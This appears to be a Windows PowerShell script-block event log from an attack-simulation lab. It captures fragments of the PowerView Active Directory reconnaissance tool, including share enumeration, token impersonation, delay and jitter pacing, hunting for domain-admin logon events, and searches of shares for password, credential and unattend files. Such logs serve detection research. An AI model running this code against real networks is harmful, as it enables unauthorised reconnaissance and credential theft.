systems. .PARAMETER Delay Specifies the delay (in seconds) between enumerating hosts, defaults to 0. .PARAMETER Jitter Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 .PARAMETER Threads The number of threads to use for user searching, defaults to 20. .EXAMPLE Find-LocalAdminAccess Finds machines in the current domain the current user has admin access to. .EXAMPLE Find-LocalAdminAccess -Domain dev.testlab.local Finds machines in the dev.testlab.local domain the current user has admin access to. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Find-LocalAdminAccess -Domain testlab.local -Credential $Cred Finds machines in the testlab.local domain that the user with the specified -Credential has admin access to. .OUTPUTS String Computer dnshostnames the current user has administrative access to. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType([String])] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DNSHostName')] [String[]] $ComputerName, [ValidateNotNullOrEmpty()] [String] $ComputerDomain, [ValidateNotNullOrEmpty()] [String] $ComputerLDAPFilter, [ValidateNotNullOrEmpty()] [String] $ComputerSearchBase, [ValidateNotNullOrEmpty()] [Alias('OperatingSystem')] [String] $ComputerOperatingSystem, [ValidateNotNullOrEmpty()] [Alias('ServicePack')] [String] $ComputerServicePack, [ValidateNotNullOrEmpty()] [Alias('SiteName')] [String] $ComputerSiteName, [Switch] $CheckShareAccess, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989534 Keywords=None Message=Creating Scriptblock text (54 of 61): n } if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } if ($PSBoundParameters['ComputerName']) { $TargetComputers = $ComputerName } else { Write-Verbose '[Find-DomainShare] Querying computers in the domain' $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname } Write-Verbose "[Find-DomainShare] TargetComputers length: $($TargetComputers.Length)" if ($TargetComputers.Length -eq 0) { throw '[Find-DomainShare] No hosts found to enumerate' } # the host enumeration block we're using to enumerate all servers $HostEnumBlock = { Param($ComputerName, $CheckShareAccess, $TokenHandle) if ($TokenHandle) { # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet } ForEach ($TargetComputer in $ComputerName) { $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer if ($Up) { # get the shares for this host and check what we find $Shares = Get-NetShare -ComputerName $TargetComputer ForEach ($Share in $Shares) { $ShareName = $Share.Name # $Remark = $Share.Remark $Path = '\\'+$TargetComputer+'\'+$ShareName if (($ShareName) -and ($ShareName.trim() -ne '')) { # see if we want to check access to this share if ($CheckShareAccess) { # check if the user has access to this path try { $Null = [IO.Directory]::GetFiles($Path) $Share } catch { Write-Verbose "Error accessing share path $Path : $_" } } else { $Share } } } } } if ($TokenHandle) { Invoke-RevertToSelf } } $LogonToken = $Null if ($PSBoundParameters['Credential']) { if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { $LogonToken = Invoke-UserImpersonation -Credential $Credential } else { $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet } } } PROCESS { # only ignore threading if -Delay is passed if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { Write-Verbose "[Find-DomainShare] Total number of hosts: $($TargetComputers.count)" Write-Verbose "[Find-DomainShare] Delay: $Delay, Jitter: $Jitter" $Counter = 0 $RandNo = New-Object System.Random ForEach ($TargetComputer in $TargetComputers) { $Counter = $Counter + 1 # sleep for our semi-randomized interval Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[Find-DomainShare] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $CheckShareAccess, $LogonToken } } else { Write-Verbose "[Find-DomainShare] Using threading with threads: $Threads" # if we're using threading, kick off the script block with New-ThreadedFunction $ScriptParams = @{ 'CheckShareAccess' = $CheckShareAccess 'TokenHandle' = $LogonToken } # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } } END { if ($LogonToken) { Invoke-RevertToSelf -TokenHandle $LogonToken } } } function Find-InterestingDomainShareFile { <# .SYNOPSIS Searches for files matching specific criteria on readable shares in the domain. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, Find-InterestingFile, New-ThreadedFunction .DESCRIPTION This function enumerates all machines on the current (or specified) domain using Get-DomainComputer, and enumerates the available shares for each machine with Get-NetShare. It will then use Find-InterestingFile on each readhable share, searching for files marching specific criteria. If -Credential is passed, then Invoke-UserImpersonation is used to impersonate the specified user before enumeration, reverting after with Invoke-RevertToSelf. .PARAMETER ComputerName Specifies an array of one or more hosts to enumerate, passable on the pipeline. If -ComputerName is not passed, the default behavior is to enumerate all machines in the domain returned by Get-DomainComputer. .PARAMETER ComputerDomain Specifies the domain to query for computers, defaults to the current domain. .PARAMETER ComputerLDAPFilter Specifies an LDAP query string that is used to search for computer objects. .PARAMETER ComputerSearchBase Specifies the LDAP source to search through for computers, e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. .PARAMETER ComputerOperatingSystem Search computers with a specific operating system, wildcards accepted. .PARAMETER ComputerServicePack Search computers with a specific service pack, wildcards accepted. .PARAMETER ComputerSiteName Search computers in the specific AD Site name, wildcards accepted. .PARAMETER Include Only return files/folders that match the specified array of strings, i.e. @(*.doc*, *.xls*, *.ppt*) .PARAMETER SharePath Specifies one or more specific share paths to search, in the form \\COMPUTER\Share .PARAMETER ExcludedShares Specifies share paths to exclude, default of C$, Admin$, Print$, IPC$. .PARAMETER LastAccessTime Only return files with a LastAccessTime greater than this date value. .PARAMETER LastWriteTime Only return files with a LastWriteTime greater than this date value. .PARAMETER CreationTime Only return files with a CreationTime greater than this date value. .PARAMETER OfficeDocs Switch. Search for office documents (*.doc*, *.xls*, *.ppt*) .PARAMETER FreshEXEs Switch. Find .EXEs accessed within the last 7 days. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain and target systems. .PARAMETER Delay Specifies the delay (in seconds) between enumerating hosts, defaults to 0. .PARAMETER Jitter Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 .PARAMETER Threads The number of threads to use for user searching, defaults to 20. .EXAMPLE Find-InterestingDomainShareFile Finds 'interesting' files on the current domain. .EXAMPLE Find-InterestingDomainShareFile -ComputerName @('windows1.testlab.local','windows2.testlab.local') Finds 'interesting' files on readable shares on the specified systems. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('DEV\dfm.a', $SecPassword) Find-DomainShare -Domain testlab.local -Credential $Cred Searches interesting files in the testlab.local domain using the specified alternate credentials. .OUTPUTS PowerView.FoundFile #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.FoundFile')] [CmdletBinding(DefaultParameterSetName = 'FileSpecification')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DNSHostName')] [String[]] $ComputerName, [ValidateNotNullOrEmpty()] [String] $ComputerDomain, [ValidateNotNullOrEmpty()] [String] $ComputerLDAPFilter, [ValidateNotNullOrEmpty()] [String] $ComputerSearchBase, [ValidateNotNullOrEmpty()] [Alias('OperatingSystem')] [String] $ComputerOperatingSystem, [ValidateNotNullOrEmpty()] [Alias('ServicePack')] [String] $ComputerServicePack, [ValidateNotNullOrEmpty()] [Alias('SiteName')] [String] $ComputerSiteName, [Parameter(ParameterSetName = 'FileSpecification')] [ValidateNotNullOrEmpty()] [Alias('SearchTerms', 'Terms')] [String[]] $Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'), [ValidateNotNullOrEmpty()] [ValidatePattern('\\\\')] [Alias('Share')] [String[]] $SharePath, [String[]] $ExcludedShares = @('C$', 'Admin$', 'Print$', 'IPC$'), [Parameter(ParameterSetName = 'FileSpecification')] [ValidateNotNullOrEmpty()] [DateTime] $LastAccessTime, [Parameter(ParameterSetName = 'FileSpecification')] [ValidateNotNullOrEmpty()] [DateTime] $LastWriteTime, [Parameter(ParameterSetName = 'FileSpecification')] [ValidateNotNullOrEmpty()] [DateTime] $CreationTime, [Parameter(ParameterSetName = 'OfficeDocs')] [Switch] $OfficeDocs, [Parameter(ParameterSetName = 'FreshEXEs')] [Switch] $FreshEXEs, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [ValidateRange(1, 10000)] [Int] $Delay = 0, [ValidateRange(0.0, 1.0)] [Double] $Jitter = .3, ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989533 Keywords=None Message=Creating Scriptblock text (53 of 61): oupSearcherArguments = @{ 'Identity' = $UserGroupIdentity 'Recurse' = $True } Write-Verbose "UserGroupIdentity: $UserGroupIdentity" if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain } if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase } if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential } $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName } # build the set of computers to enumerate if ($PSBoundParameters['ComputerName']) { $TargetComputers = $ComputerName } else { # if not -ComputerName is passed, query the current (or target) domain for domain controllers $DCSearcherArguments = @{ 'LDAP' = $True } if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server } if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential } Write-Verbose "[Find-DomainUserEvent] Querying for domain controllers in domain: $Domain" $TargetComputers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname } if ($TargetComputers -and ($TargetComputers -isnot [System.Array])) { $TargetComputers = @(,$TargetComputers) } Write-Verbose "[Find-DomainUserEvent] TargetComputers length: $($TargetComputers.Length)" Write-Verbose "[Find-DomainUserEvent] TargetComputers $TargetComputers" if ($TargetComputers.Length -eq 0) { throw '[Find-DomainUserEvent] No hosts found to enumerate' } # the host enumeration block we're using to enumerate all servers $HostEnumBlock = { Param($ComputerName, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential) ForEach ($TargetComputer in $ComputerName) { $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer if ($Up) { $DomainUserEventArgs = @{ 'ComputerName' = $TargetComputer } if ($StartTime) { $DomainUserEventArgs['StartTime'] = $StartTime } if ($EndTime) { $DomainUserEventArgs['EndTime'] = $EndTime } if ($MaxEvents) { $DomainUserEventArgs['MaxEvents'] = $MaxEvents } if ($Credential) { $DomainUserEventArgs['Credential'] = $Credential } if ($Filter -or $TargetUsers) { if ($TargetUsers) { Get-DomainUserEvent @DomainUserEventArgs | Where-Object {$TargetUsers -contains $_.TargetUserName} } else { $Operator = 'or' $Filter.Keys | ForEach-Object { if (($_ -eq 'Op') -or ($_ -eq 'Operator') -or ($_ -eq 'Operation')) { if (($Filter[$_] -match '&') -or ($Filter[$_] -eq 'and')) { $Operator = 'and' } } } $Keys = $Filter.Keys | Where-Object {($_ -ne 'Op') -and ($_ -ne 'Operator') -and ($_ -ne 'Operation')} Get-DomainUserEvent @DomainUserEventArgs | ForEach-Object { if ($Operator -eq 'or') { ForEach ($Key in $Keys) { if ($_."$Key" -match $Filter[$Key]) { $_ } } } else { # and all clauses ForEach ($Key in $Keys) { if ($_."$Key" -notmatch $Filter[$Key]) { break } $_ } } } } } else { Get-DomainUserEvent @DomainUserEventArgs } } } } } PROCESS { # only ignore threading if -Delay is passed if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { Write-Verbose "[Find-DomainUserEvent] Total number of hosts: $($TargetComputers.count)" Write-Verbose "[Find-DomainUserEvent] Delay: $Delay, Jitter: $Jitter" $Counter = 0 $RandNo = New-Object System.Random ForEach ($TargetComputer in $TargetComputers) { $Counter = $Counter + 1 # sleep for our semi-randomized interval Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[Find-DomainUserEvent] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential $Result if ($Result -and $StopOnSuccess) { Write-Verbose "[Find-DomainUserEvent] Target user found, returning early" return } } } else { Write-Verbose "[Find-DomainUserEvent] Using threading with threads: $Threads" # if we're using threading, kick off the script block with New-ThreadedFunction $ScriptParams = @{ 'StartTime' = $StartTime 'EndTime' = $EndTime 'MaxEvents' = $MaxEvents 'TargetUsers' = $TargetUsers 'Filter' = $Filter 'Credential' = $Credential } # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } } } function Find-DomainShare { <# .SYNOPSIS Searches for computer shares on the domain. If -CheckShareAccess is passed, then only shares the current user has read access to are returned. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, New-ThreadedFunction .DESCRIPTION This function enumerates all machines on the current (or specified) domain using Get-DomainComputer, and enumerates the available shares for each machine with Get-NetShare. If -CheckShareAccess is passed, then [IO.Directory]::GetFiles() is used to check if the current user has read access to the given share. If -Credential is passed, then Invoke-UserImpersonation is used to impersonate the specified user before enumeration, reverting after with Invoke-RevertToSelf. .PARAMETER ComputerName Specifies an array of one or more hosts to enumerate, passable on the pipeline. If -ComputerName is not passed, the default behavior is to enumerate all machines in the domain returned by Get-DomainComputer. .PARAMETER ComputerDomain Specifies the domain to query for computers, defaults to the current domain. .PARAMETER ComputerLDAPFilter Specifies an LDAP query string that is used to search for computer objects. .PARAMETER ComputerSearchBase Specifies the LDAP source to search through for computers, e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. .PARAMETER ComputerOperatingSystem Search computers with a specific operating system, wildcards accepted. .PARAMETER ComputerServicePack Search computers with a specific service pack, wildcards accepted. .PARAMETER ComputerSiteName Search computers in the specific AD Site name, wildcards accepted. .PARAMETER CheckShareAccess Switch. Only display found shares that the local user has access to. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain and target systems. .PARAMETER Delay Specifies the delay (in seconds) between enumerating hosts, defaults to 0. .PARAMETER Jitter Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 .PARAMETER Threads The number of threads to use for user searching, defaults to 20. .EXAMPLE Find-DomainShare Find all domain shares in the current domain. .EXAMPLE Find-DomainShare -CheckShareAccess Find all domain shares in the current domain that the current user has read access to. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Find-DomainShare -Domain testlab.local -Credential $Cred Searches for domain shares in the testlab.local domain using the specified alternate credentials. .OUTPUTS PowerView.ShareInfo #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.ShareInfo')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DNSHostName')] [String[]] $ComputerName, [ValidateNotNullOrEmpty()] [Alias('Domain')] [String] $ComputerDomain, [ValidateNotNullOrEmpty()] [String] $ComputerLDAPFilter, [ValidateNotNullOrEmpty()] [String] $ComputerSearchBase, [ValidateNotNullOrEmpty()] [Alias('OperatingSystem')] [String] $ComputerOperatingSystem, [ValidateNotNullOrEmpty()] [Alias('ServicePack')] [String] $ComputerServicePack, [ValidateNotNullOrEmpty()] [Alias('SiteName')] [String] $ComputerSiteName, [Alias('CheckAccess')] [Switch] $CheckShareAccess, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [ValidateRange(1, 10000)] [Int] $Delay = 0, [ValidateRange(0.0, 1.0)] [Double] $Jitter = .3, [Int] [ValidateRange(1, 100)] $Threads = 20 ) BEGIN { $ComputerSearcherArguments = @{ 'Properties' = 'dnshostname' } if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomai ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989532 Keywords=None Message=Creating Scriptblock text (52 of 61): rs['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential } $GroupSearcherArguments $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName } # the host enumeration block we're using to enumerate all servers $HostEnumBlock = { Param($ComputerName, $ProcessName, $TargetUsers, $Credential) ForEach ($TargetComputer in $ComputerName) { $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer if ($Up) { # try to enumerate all active processes on the remote host # and search for a specific process name if ($Credential) { $Processes = Get-WMIProcess -Credential $Credential -ComputerName $TargetComputer -ErrorAction SilentlyContinue } else { $Processes = Get-WMIProcess -ComputerName $TargetComputer -ErrorAction SilentlyContinue } ForEach ($Process in $Processes) { # if we're hunting for a process name or comma-separated names if ($ProcessName) { if ($ProcessName -Contains $Process.ProcessName) { $Process } } # if the session user is in the target list, display some output elseif ($TargetUsers -Contains $Process.User) { $Process } } } } } } PROCESS { # only ignore threading if -Delay is passed if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { Write-Verbose "[Find-DomainProcess] Total number of hosts: $($TargetComputers.count)" Write-Verbose "[Find-DomainProcess] Delay: $Delay, Jitter: $Jitter" $Counter = 0 $RandNo = New-Object System.Random ForEach ($TargetComputer in $TargetComputers) { $Counter = $Counter + 1 # sleep for our semi-randomized interval Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[Find-DomainProcess] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetProcessName, $TargetUsers, $Credential $Result if ($Result -and $StopOnSuccess) { Write-Verbose "[Find-DomainProcess] Target user found, returning early" return } } } else { Write-Verbose "[Find-DomainProcess] Using threading with threads: $Threads" # if we're using threading, kick off the script block with New-ThreadedFunction $ScriptParams = @{ 'ProcessName' = $TargetProcessName 'TargetUsers' = $TargetUsers 'Credential' = $Credential } # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads } } } function Find-DomainUserEvent { <# .SYNOPSIS Finds logon events on the current (or remote domain) for the specified users. Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainUser, Get-DomainGroupMember, Get-DomainController, Get-DomainUserEvent, New-ThreadedFunction .DESCRIPTION Enumerates all domain controllers from the specified -Domain (default of the local domain) using Get-DomainController, enumerates the logon events for each using Get-DomainUserEvent, and filters the results based on the targeting criteria. .PARAMETER ComputerName Specifies an explicit computer name to retrieve events from. .PARAMETER Domain Specifies a domain to query for domain controllers to enumerate. Defaults to the current domain. .PARAMETER Filter A hashtable of PowerView.LogonEvent properties to filter for. The 'op|operator|operation' clause can have '&', '|', 'and', or 'or', and is 'or' by default, meaning at least one clause matches instead of all. See the exaples for usage. .PARAMETER StartTime The [DateTime] object representing the start of when to collect events. Default of [DateTime]::Now.AddDays(-1). .PARAMETER EndTime The [DateTime] object representing the end of when to collect events. Default of [DateTime]::Now. .PARAMETER MaxEvents The maximum number of events (per host) to retrieve. Default of 5000. .PARAMETER UserIdentity Specifies one or more user identities to search for. .PARAMETER UserDomain Specifies the domain to query for users to search for, defaults to the current domain. .PARAMETER UserLDAPFilter Specifies an LDAP query string that is used to search for target users. .PARAMETER UserSearchBase Specifies the LDAP source to search through for target users. e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. .PARAMETER UserGroupIdentity Specifies a group identity to query for target users, defaults to 'Domain Admins. If any other user specifications are set, then UserGroupIdentity is ignored. .PARAMETER UserAdminCount Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged). .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target computer(s). .PARAMETER StopOnSuccess Switch. Stop hunting after finding after finding a target user. .PARAMETER Delay Specifies the delay (in seconds) between enumerating hosts, defaults to 0. .PARAMETER Jitter Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 .PARAMETER Threads The number of threads to use for user searching, defaults to 20. .EXAMPLE Find-DomainUserEvent Search for any user events matching domain admins on every DC in the current domain. .EXAMPLE $cred = Get-Credential dev\administrator Find-DomainUserEvent -ComputerName 'secondary.dev.testlab.local' -UserIdentity 'john' Search for any user events matching the user 'john' on the 'secondary.dev.testlab.local' domain controller using the alternate credential .EXAMPLE 'primary.testlab.local | Find-DomainUserEvent -Filter @{'IpAddress'='192.168.52.200|192.168.52.201'} Find user events on the primary.testlab.local system where the event matches the IPAddress '192.168.52.200' or '192.168.52.201'. .EXAMPLE $cred = Get-Credential testlab\administrator Find-DomainUserEvent -Delay 1 -Filter @{'LogonGuid'='b8458aa9-b36e-eaa1-96e0-4551000fdb19'; 'TargetLogonId' = '10238128'; 'op'='&'} Find user events mathing the specified GUID AND the specified TargetLogonId, searching through every domain controller in the current domain, enumerating each DC in serial instead of in a threaded manner, using the alternate credential. .OUTPUTS PowerView.LogonEvent PowerView.ExplicitCredentialLogon .LINK http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')] [OutputType('PowerView.LogonEvent')] [OutputType('PowerView.ExplicitCredentialLogon')] [CmdletBinding(DefaultParameterSetName = 'Domain')] Param( [Parameter(ParameterSetName = 'ComputerName', Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('dnshostname', 'HostName', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName, [Parameter(ParameterSetName = 'Domain')] [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Hashtable] $Filter, [Parameter(ValueFromPipelineByPropertyName = $True)] [ValidateNotNullOrEmpty()] [DateTime] $StartTime = [DateTime]::Now.AddDays(-1), [Parameter(ValueFromPipelineByPropertyName = $True)] [ValidateNotNullOrEmpty()] [DateTime] $EndTime = [DateTime]::Now, [ValidateRange(1, 1000000)] [Int] $MaxEvents = 5000, [ValidateNotNullOrEmpty()] [String[]] $UserIdentity, [ValidateNotNullOrEmpty()] [String] $UserDomain, [ValidateNotNullOrEmpty()] [String] $UserLDAPFilter, [ValidateNotNullOrEmpty()] [String] $UserSearchBase, [ValidateNotNullOrEmpty()] [Alias('GroupName', 'Group')] [String[]] $UserGroupIdentity = 'Domain Admins', [Alias('AdminCount')] [Switch] $UserAdminCount, [Switch] $CheckAccess, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $StopOnSuccess, [ValidateRange(1, 10000)] [Int] $Delay = 0, [ValidateRange(0.0, 1.0)] [Double] $Jitter = .3, [Int] [ValidateRange(1, 100)] $Threads = 20 ) BEGIN { $UserSearcherArguments = @{ 'Properties' = 'samaccountname' } if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = 